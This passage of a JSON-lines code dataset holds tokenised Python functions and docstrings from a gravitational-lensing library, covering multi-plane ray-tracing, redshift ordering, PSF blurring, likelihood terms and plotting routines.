\\\n            source-plane borders.\n        cosmology : astropy.cosmology\n            The cosmology of the ray-tracing calculation.", "id": "f5972:c5:m0"}
{"signature": "def __init__(self, lens_galaxies, image_plane_positions, cosmology=cosmo.Planck15):", "body": "image_plane = pl.PlanePositions(redshift=lens_galaxies[<NUM_LIT:0>].redshift, galaxies=lens_galaxies,<EOL>positions=image_plane_positions, compute_deflections=True, cosmology=cosmology)<EOL>source_plane_positions = image_plane.trace_to_next_plane()<EOL>source_plane = pl.PlanePositions(redshift=None, galaxies=None, positions=source_plane_positions,<EOL>compute_deflections=False, cosmology=cosmology)<EOL>super(TracerImageSourcePlanesPositions, self).__init__(planes=[image_plane, source_plane], cosmology=cosmology)<EOL>", "docstring": "Positional ray-tracer for a lens system with two planes, an image-plane and source-plane (source-plane \\\n        galaxies are not input for the positional ray-tracer, as it is only the proximity that image_plane_positions \\\n        trace to within one another that needs to be computed).\n\n        By default, this has no associated cosmology, thus all calculations are performed in arc seconds and galaxies \\\n        do not need input redshifts. If a cosmology is supplied, the plane's angular diameter distances, \\\n        conversion factors, etc. are used to provide quantities in kpc.\n\n        Parameters\n        ----------\n        lens_galaxies : [Galaxy]\n            The list of lens galaxies in the image-plane.\n        image_plane_positions : [[[]]]\n            The (y,x) arc-second coordinates of image-plane pixels which (are expected to) mappers to the same \\\n            location(s) in the source-plane.\n        cosmology : astropy.cosmology.Planck15\n            The cosmology of the ray-tracing calculation.", "id": "f5972:c6:m0"}
{"signature": "def __init__(self, galaxies, image_plane_positions, cosmology=cosmo.Planck15):", "body": "plane_redshifts = lens_util.ordered_plane_redshifts_from_galaxies(galaxies=galaxies)<EOL>galaxies_in_redshift_ordered_lists =lens_util.galaxies_in_redshift_ordered_planes_from_galaxies(galaxies=galaxies,<EOL>plane_redshifts=plane_redshifts)<EOL>if not galaxies:<EOL><INDENT>raise exc.RayTracingException('<STR_LIT>')<EOL><DEDENT>planes = []<EOL>for plane_index in range(<NUM_LIT:0>, len(plane_redshifts)):<EOL><INDENT>if plane_index < len(plane_redshifts) - <NUM_LIT:1>:<EOL><INDENT>compute_deflections = True<EOL><DEDENT>elif plane_index == len(plane_redshifts) - <NUM_LIT:1>:<EOL><INDENT>compute_deflections = False<EOL><DEDENT>else:<EOL><INDENT>raise exc.RayTracingException('<STR_LIT>')<EOL><DEDENT>new_positions = image_plane_positions<EOL>if plane_index > <NUM_LIT:0>:<EOL><INDENT>for previous_plane_index in range(plane_index):<EOL><INDENT>scaling_factor = cosmology_util.scaling_factor_between_redshifts_from_redshifts_and_cosmology(<EOL>redshift_0=plane_redshifts[previous_plane_index], redshift_1=plane_redshifts[plane_index],<EOL>redshift_final=plane_redshifts[-<NUM_LIT:1>], cosmology=cosmology)<EOL>scaled_deflections = list(map(lambda deflections:<EOL>np.multiply(scaling_factor, deflections),<EOL>planes[previous_plane_index].deflections))<EOL>new_positions = list(map(lambda positions, deflections:<EOL>np.subtract(positions, deflections), new_positions, scaled_deflections))<EOL><DEDENT><DEDENT>planes.append(pl.PlanePositions(redshift=plane_redshifts[plane_index],<EOL>galaxies=galaxies_in_redshift_ordered_lists[plane_index],<EOL>positions=new_positions, compute_deflections=compute_deflections))<EOL><DEDENT>super(TracerMultiPlanesPositions, self).__init__(planes=planes, cosmology=cosmology)<EOL>", "docstring": "Positional ray-tracer for a lens system with any number of planes.\n\n        To perform multi-plane ray-tracing, a cosmology must be supplied so that deflection-angles can be rescaled \\\n        according to the lens-geometry of the multi-plane system.\n\n        Parameters\n        ----------\n        galaxies : [Galaxy]\n            The list of galaxies in the ray-tracing calculation.\n        image_plane_positions : [[[]]]\n            The (y,x) arc-second coordinates of image-plane pixels which (are expected to) mappers to the same \\\n            location(s) in the final source-plane.\n        cosmology : astropy.cosmology\n            The cosmology of the ray-tracing calculation.", "id": "f5972:c7:m0"}
{"signature": "def ordered_plane_redshifts_from_galaxies(galaxies):", "body": "ordered_galaxies = sorted(galaxies, key=lambda galaxy: galaxy.redshift, reverse=False)<EOL>galaxy_redshifts = list(map(lambda galaxy: galaxy.redshift, ordered_galaxies))<EOL>return [redshift for i, redshift in enumerate(galaxy_redshifts) if redshift not in galaxy_redshifts[:i]]<EOL>", "docstring": "Given a list of galaxies (with redshifts), return a list of the redshifts in ascending order.\n\n    If two or more galaxies have the same redshift that redshift is not double counted.\n\n    Parameters\n    -----------\n    galaxies : [Galaxy]\n        The list of galaxies in the ray-tracing calculation.", "id": "f5973:m1"}
{"signature": "def ordered_plane_redshifts_from_lens_and_source_plane_redshifts_and_slice_sizes(lens_redshifts, planes_between_lenses,<EOL>source_plane_redshift):", "body": "<EOL>if len(lens_redshifts) != len(planes_between_lenses)-<NUM_LIT:1>:<EOL><INDENT>raise exc.RayTracingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>plane_redshifts = []<EOL>lens_redshifts.insert(<NUM_LIT:0>, <NUM_LIT:0.0>)<EOL>lens_redshifts.append(source_plane_redshift)<EOL>for lens_plane_index in range(<NUM_LIT:1>, len(lens_redshifts)):<EOL><INDENT>previous_plane_redshift = lens_redshifts[lens_plane_index - <NUM_LIT:1>]<EOL>plane_redshift = lens_redshifts[lens_plane_index]<EOL>slice_total = planes_between_lenses[lens_plane_index - <NUM_LIT:1>]<EOL>plane_redshifts += list(np.linspace(previous_plane_redshift, plane_redshift, slice_total+<NUM_LIT:2>))[<NUM_LIT:1>:]<EOL><DEDENT>return plane_redshifts[<NUM_LIT:0>:-<NUM_LIT:1>]<EOL>", "docstring": "Given a set of lens plane redshifts, the source-plane redshift and the number of planes between each, setup the \\\n    plane redshifts using these values. A lens redshift corresponds to the 'main' lens galaxy(s),\n    whereas the slices collect line-of-sight halos over a range of redshifts.\n\n    The source-plane redshift is removed from the ordered plane redshifts that are returned, so that galaxies are not \\\n    planed at the source-plane redshift.\n\n    For example, if the main plane redshifts are [1.0, 2.0], and the bin sizes are [1,3], the following redshift \\\n    slices for planes will be used:\n\n    z=0.5\n    z=1.0\n    z=1.25\n    z=1.5\n    z=1.75\n    z=2.0\n\n    Parameters\n    -----------\n    lens_redshifts : [float]\n        The redshifts of the main-planes (e.g. the lens galaxy), which determine where redshift intervals are placed.\n    planes_between_lenses : [int]\n        The number of slices between each main plane. The first entry in this list determines the number of slices \\\n        between Earth (redshift 0.0) and main plane 0, the next between main planes 0 and 1, etc.\n    source_plane_redshift : float\n        The redshift of the source-plane, which is input explicitly to ensure galaxies are not placed in the \\\n        source-plane.", "id": "f5973:m2"}
{"signature": "def galaxies_in_redshift_ordered_planes_from_galaxies(galaxies, plane_redshifts):", "body": "galaxies_in_redshift_ordered_planes =  [[] for i in range(len(plane_redshifts))]<EOL>for galaxy in galaxies:<EOL><INDENT>index = (np.abs(np.asarray(plane_redshifts) - galaxy.redshift)).argmin()<EOL>galaxies_in_redshift_ordered_planes[index].append(galaxy)<EOL><DEDENT>return galaxies_in_redshift_ordered_planes<EOL>", "docstring": "Given a list of galaxies (with redshifts), return a list of the galaxies where each entry contains a list \\\n    of galaxies at the same redshift in ascending redshift order.\n\n    Parameters\n    -----------\n    galaxies : [Galaxy]\n        The list of galaxies in the ray-tracing calculation.", "id": "f5973:m3"}
{"signature": "def compute_deflections_at_next_plane(plane_index, total_planes):", "body": "if plane_index < total_planes - <NUM_LIT:1>:<EOL><INDENT>return True<EOL><DEDENT>elif plane_index == total_planes - <NUM_LIT:1>:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>raise exc.RayTracingException('<STR_LIT>')<EOL><DEDENT>", "docstring": "This function determines whether the tracer should compute the deflections at the next plane.\n\n    This is True if there is another plane after this plane, else it is False..\n\n    Parameters\n    -----------\n    plane_index : int\n        The index of the plane we are deciding if we should compute its deflections.\n    total_planes : int\n        The total number of planes.", "id": "f5973:m4"}
{"signature": "def scaled_deflection_stack_from_plane_and_scaling_factor(plane, scaling_factor):", "body": "def scale(grid):<EOL><INDENT>return np.multiply(scaling_factor, grid)<EOL><DEDENT>if plane.deflection_stack is not None:<EOL><INDENT>return plane.deflection_stack.apply_function(scale)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Given a plane and scaling factor, compute a set of scaled deflections.\n\n    Parameters\n    -----------\n    plane : plane.Plane\n        The plane whose deflection stack is scaled.\n    scaling_factor : float\n        The factor the deflection angles are scaled by, which is typically the scaling factor between redshifts for \\\n        multi-plane lensing.", "id": "f5973:m5"}
{"signature": "def grid_stack_from_deflection_stack(grid_stack, deflection_stack):", "body": "if deflection_stack is not None:<EOL><INDENT>def minus(grid, deflections):<EOL><INDENT>return grid - deflections<EOL><DEDENT>return grid_stack.map_function(minus, deflection_stack)<EOL><DEDENT>", "docstring": "For a deflection stack, comput a new grid stack but subtracting the deflections", "id": "f5973:m6"}
{"signature": "def blurred_image_1d_from_1d_unblurred_and_blurring_images(unblurred_image_1d, blurring_image_1d, convolver):", "body": "return convolver.convolve_image(image_array=unblurred_image_1d, blurring_array=blurring_image_1d)<EOL>", "docstring": "For a 1D masked image and 1D blurring image (the regions outside the mask whose light blurs \\\n    into the mask after PSF convolution), use both to compute the blurred image within the mask via PSF convolution.\n\n    The convolution uses each image's convolver (*See ccd.convolution*).\n\n    Parameters\n    ----------\n    unblurred_image_1d : ndarray\n        The 1D masked datas which is blurred.\n    blurring_image_1d : ndarray\n        The 1D masked blurring image which is used for blurring.\n    convolver : ccd.convolution.ConvolverImage\n        The image-convolver which performs the convolution in 1D.", "id": "f5974:m0"}
{"signature": "def likelihood_with_regularization_from_chi_squared_regularization_term_and_noise_normalization(chi_squared,<EOL>regularization_term,<EOL>noise_normalization):", "body": "return -<NUM_LIT:0.5> * (chi_squared + regularization_term + noise_normalization)<EOL>", "docstring": "Compute the likelihood of an inversion's fit to the datas, including a regularization term which \\\n    comes from an inversion:\n\n    Likelihood = -0.5*[Chi_Squared_Term + Regularization_Term + Noise_Term] (see functions above for these definitions)\n\n    Parameters\n    ----------\n    chi_squared : float\n        The chi-squared term of the inversion's fit to the observed datas.\n    regularization_term : float\n        The regularization term of the inversion, which is the sum of the difference between reconstructed \\\n        flux of every pixel multiplied by the regularization coefficient.\n    noise_normalization : float\n        The normalization noise_map-term for the observed datas's noise-map.", "id": "f5974:m1"}
{"signature": "def evidence_from_inversion_terms(chi_squared, regularization_term, log_curvature_regularization_term,<EOL>log_regularization_term, noise_normalization):", "body": "return -<NUM_LIT:0.5> * (chi_squared + regularization_term + log_curvature_regularization_term - log_regularization_term<EOL>+ noise_normalization)<EOL>", "docstring": "Compute the evidence of an inversion's fit to the datas, where the evidence includes a number of \\\n    terms which quantify the complexity of an inversion's reconstruction (see the *inversion* module):\n\n    Likelihood = -0.5*[Chi_Squared_Term + Regularization_Term + Log(Covariance_Regularization_Term) -\n                       Log(Regularization_Matrix_Term) + Noise_Term]\n\n    Parameters\n    ----------\n    chi_squared : float\n        The chi-squared term of the inversion's fit to the observed datas.\n    regularization_term : float\n        The regularization term of the inversion, which is the sum of the difference between reconstructed \\\n        flux of every pixel multiplied by the regularization coefficient.\n    log_curvature_regularization_term : float\n        The log of the determinant of the sum of the curvature and regularization matrices.\n    log_regularization_term : float\n        The log of the determinant o the regularization matrix.\n    noise_normalization : float\n        The normalization noise_map-term for the observed datas's noise-map.", "id": "f5974:m2"}
{"signature": "def blurred_image_of_planes_from_1d_images_and_convolver(total_planes, image_plane_image_1d_of_planes,<EOL>image_plane_blurring_image_1d_of_planes, convolver,<EOL>map_to_scaled_array):", "body": "blurred_image_of_planes = []<EOL>for plane_index in range(total_planes):<EOL><INDENT>if np.count_nonzero(image_plane_image_1d_of_planes[plane_index]) > <NUM_LIT:0>:<EOL><INDENT>blurred_image_1d_of_plane = blurred_image_1d_from_1d_unblurred_and_blurring_images(<EOL>unblurred_image_1d=image_plane_image_1d_of_planes[plane_index],<EOL>blurring_image_1d=image_plane_blurring_image_1d_of_planes[plane_index],<EOL>convolver=convolver)<EOL>blurred_image_of_plane = map_to_scaled_array(array_1d=blurred_image_1d_of_plane)<EOL>blurred_image_of_planes.append(blurred_image_of_plane)<EOL><DEDENT>else:<EOL><INDENT>blurred_image_of_planes.append(None)<EOL><DEDENT><DEDENT>return blurred_image_of_planes<EOL>", "docstring": "For a tracer, extract the image-plane image of every plane and blur it with the PSF.\n\n    If none of the galaxies in a plane have a light profie or pixelization (and thus don't have an image) a *None* \\\n    is used.\n\n    Parameters\n    ----------\n    total_planes : int\n        The total number of planes that blurred images are computed for.\n    image_plane_image_1d_of_planes : [ndarray]\n        For every plane, the 1D image-plane image.\n    image_plane_blurring_image_1d_of_planes : [ndarray]\n        For every plane, the 1D image-plane blurring image.\n    convolver : hyper.ccd.convolution.ConvolverImage\n        Class which performs the PSF convolution of a masked image in 1D.\n    map_to_scaled_array : func\n        A function which maps a masked image from 1D to 2D.", "id": "f5974:m3"}
{"signature": "def unmasked_blurred_image_of_planes_from_padded_grid_stack_and_psf(planes, padded_grid_stack, psf):", "body": "unmasked_blurred_image_of_planes = []<EOL>for plane in planes:<EOL><INDENT>if plane.has_pixelization:<EOL><INDENT>unmasked_blurred_image_of_plane = None<EOL><DEDENT>else:<EOL><INDENT>unmasked_blurred_image_of_plane =padded_grid_stack.unmasked_blurred_image_from_psf_and_unmasked_image(<EOL>psf=psf, unmasked_image_1d=plane.image_plane_image_1d)<EOL><DEDENT>unmasked_blurred_image_of_planes.append(unmasked_blurred_image_of_plane)<EOL><DEDENT>return unmasked_blurred_image_of_planes<EOL>", "docstring": "For lens data, compute the unmasked blurred image of every unmasked unblurred image of each plane. To do this, \\\n    this function iterates over all planes to extract their unmasked unblurred images.\n\n    If a galaxy in a plane has a pixelization, the unmasked image is returned as None, as as the inversion's model \\\n    image cannot be mapped to an unmasked version.\n\n    This relies on using the lens data's padded-grid, which is a grid of (y,x) coordinates which extends over the \\\n    entire image as opposed to just the masked region.\n\n    This returns a list, where each list index corresponds to [plane_index].\n\n    Parameters\n    ----------\n    planes : [plane.Plane]\n        The list of planes the unmasked blurred images are computed using.\n    padded_grid_stack : grids.GridStack\n        A padded-grid_stack, whose padded grid is used for PSF convolution.\n    psf : ccd.PSF\n        The PSF of the image used for convolution.", "id": "f5974:m4"}
{"signature": "def unmasked_blurred_image_of_planes_and_galaxies_from_padded_grid_stack_and_psf(planes, padded_grid_stack, psf):", "body": "return [plane.unmasked_blurred_image_of_galaxies_from_psf(padded_grid_stack, psf) for plane in planes]<EOL>", "docstring": "For lens data, compute the unmasked blurred image of every unmasked unblurred image of every galaxy in each \\\n    plane. To do this, this function iterates over all planes and then galaxies to extract their unmasked unblurred \\\n    images.\n\n    If a galaxy in a plane has a pixelization, the unmasked image of that galaxy in the plane is returned as None \\\n    as as the inversion's model image cannot be mapped to an unmasked version.\n\n    This relies on using the lens data's padded-grid, which is a grid of (y,x) coordinates which extends over the \\\n    entire image as opposed to just the masked region.\n\n    This returns a list of lists, where each list index corresponds to [plane_index][galaxy_index].\n\n    Parameters\n    ----------\n    planes : [plane.Plane]\n        The list of planes the unmasked blurred images are computed using.\n    padded_grid_stack : grids.GridStack\n        A padded-grid_stack, whose padded grid is used for PSF convolution.\n    psf : ccd.PSF\n        The PSF of the image used for convolution.", "id": "f5974:m5"}
{"signature": "def contribution_maps_1d_from_hyper_images_and_galaxies(hyper_model_image_1d, hyper_galaxy_images_1d, hyper_galaxies,<EOL>hyper_minimum_values):", "body": "<EOL>return list(map(lambda hyper_galaxy, hyper_galaxy_image_1d, hyper_minimum_value:<EOL>hyper_galaxy.contributions_from_model_image_and_galaxy_image(model_image=hyper_model_image_1d,<EOL>galaxy_image=hyper_galaxy_image_1d,<EOL>minimum_value=hyper_minimum_value),<EOL>hyper_galaxies, hyper_galaxy_images_1d, hyper_minimum_values))<EOL>", "docstring": "For a fitting hyper_galaxy_image, hyper_galaxy model image, list of hyper galaxies images and model hyper galaxies, compute\n    their contribution maps, which are used to compute a scaled-noise_map map. All quantities are masked 1D arrays.\n\n    The reason this is separate from the *contributions_from_fitting_hyper_images_and_hyper_galaxies* function is that\n    each hyper_galaxy image has a list of hyper galaxies images and associated hyper galaxies (one for each galaxy). Thus,\n    this function breaks down the calculation of each 1D masked contribution map and returns them in the same datas\n    structure (2 lists with indexes [image_index][contribution_map_index].\n\n    Parameters\n    ----------\n    hyper_model_image_1d : ndarray\n        The best-fit model image to the datas (e.g. from a previous analysis phase).\n    hyper_galaxy_images_1d : [ndarray]\n        The best-fit model image of each hyper galaxy to the datas (e.g. from a previous analysis phase).\n    hyper_galaxies : [galaxy.Galaxy]\n        The hyper galaxies which represent the model components used to scale the noise_map, which correspond to\n        individual galaxies in the image.\n    hyper_minimum_values : [float]\n        The minimum value of each hyper_galaxy-image contribution map, which ensure zero's don't impact the scaled noise-map.", "id": "f5974:m6"}
{"signature": "def scaled_noise_map_from_hyper_galaxies_and_contribution_maps(contribution_maps, hyper_galaxies, noise_map):", "body": "scaled_noise_maps = list(map(lambda hyper_galaxy, contribution_map:<EOL>hyper_galaxy.hyper_noise_from_contributions(noise_map=noise_map,<EOL>contributions=contribution_map),<EOL>hyper_galaxies, contribution_maps))<EOL>return noise_map + sum(scaled_noise_maps)<EOL>", "docstring": "For a contribution map and noise-map, use the model hyper galaxies to compute a scaled noise-map.\n\n    Parameters\n    -----------\n    contribution_maps : ndarray\n        The image's list of 1D masked contribution maps (e.g. one for each hyper galaxy)\n    hyper_galaxies : [galaxy.Galaxy]\n        The hyper galaxies which represent the model components used to scale the noise_map, which correspond to\n        individual galaxies in the image.\n    noise_map : ccd.NoiseMap or ndarray\n        An array describing the RMS standard deviation error in each pixel, preferably in units of electrons per\n        second.", "id": "f5974:m7"}
{"signature": "def plot_image(<EOL>fit, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None,<EOL>image_plane_pix_grid=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>grid_pointsize=<NUM_LIT:1>, mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "array_plotters.plot_array(<EOL>array=fit.image, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, grid=image_plane_pix_grid,<EOL>positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>grid_pointsize=grid_pointsize, mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the image of a lens fit.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    image : datas.ccd.datas.CCD\n        The datas-datas, which includes the observed datas, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the datas's coordinate system is plotted as a 'x'.", "id": "f5975:m0"}
{"signature": "def plot_noise_map(<EOL>fit, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "array_plotters.plot_array(<EOL>array=fit.noise_map, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the noise-map of a lens fit.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    image : datas.ccd.datas.CCD\n        The datas-datas, which includes the observed datas, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the datas's coordinate system is plotted as a 'x'.", "id": "f5975:m1"}
{"signature": "def plot_signal_to_noise_map(<EOL>fit, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "array_plotters.plot_array(<EOL>array=fit.signal_to_noise_map, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max,<EOL>linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the noise-map of a lens fit.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    image : datas.ccd.datas.CCD\n    The datas-datas, which includes the observed datas, signal_to_noise_map-map, PSF, signal-to-signal_to_noise_map-map, etc.\n    plot_origin : True\n    If true, the origin of the datas's coordinate system is plotted as a 'x'.", "id": "f5975:m2"}
{"signature": "def plot_model_data(<EOL>fit, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None,<EOL>plot_mass_profile_centres=True, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "centres = get_mass_profile_centes(plot_mass_profile_centres=plot_mass_profile_centres, fit=fit)<EOL>array_plotters.plot_array(<EOL>array=fit.model_data, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, centres=centres, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the model image of a fit.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    fit : datas.fitting.fitting.AbstractFitter\n        The fit to the datas, which includes a list of every model image, residual_map, chi-squareds, etc.\n    image_index : int\n        The index of the datas in the datas-set of which the model image is plotted.", "id": "f5975:m3"}
{"signature": "def plot_lens_subtracted_image(<EOL>fit, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "if fit.tracer.total_planes == <NUM_LIT:2>:<EOL><INDENT>if fit.tracer.image_plane.has_light_profile:<EOL><INDENT>lens_subtracted_image = fit.image - fit.model_image_of_planes[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>lens_subtracted_image = fit.image<EOL><DEDENT><DEDENT>else:<EOL><INDENT>lens_subtracted_image = fit.image - sum(fit.model_image_of_planes[<NUM_LIT:0>:-<NUM_LIT:2>])<EOL><DEDENT>array_plotters.plot_array(<EOL>array=lens_subtracted_image, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the model image of a specific plane of a lens fit.\n\n    Set *autolens.datas.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    fit : datas.fitting.fitting.AbstractFitter\n        The fit to the datas, which includes a list of every model image, residual_map, chi-squareds, etc.\n    image_index : int\n        The index of the datas in the datas-set of which the model image is plotted.\n    plane_indexes : int\n        The plane from which the model image is generated.", "id": "f5975:m4"}
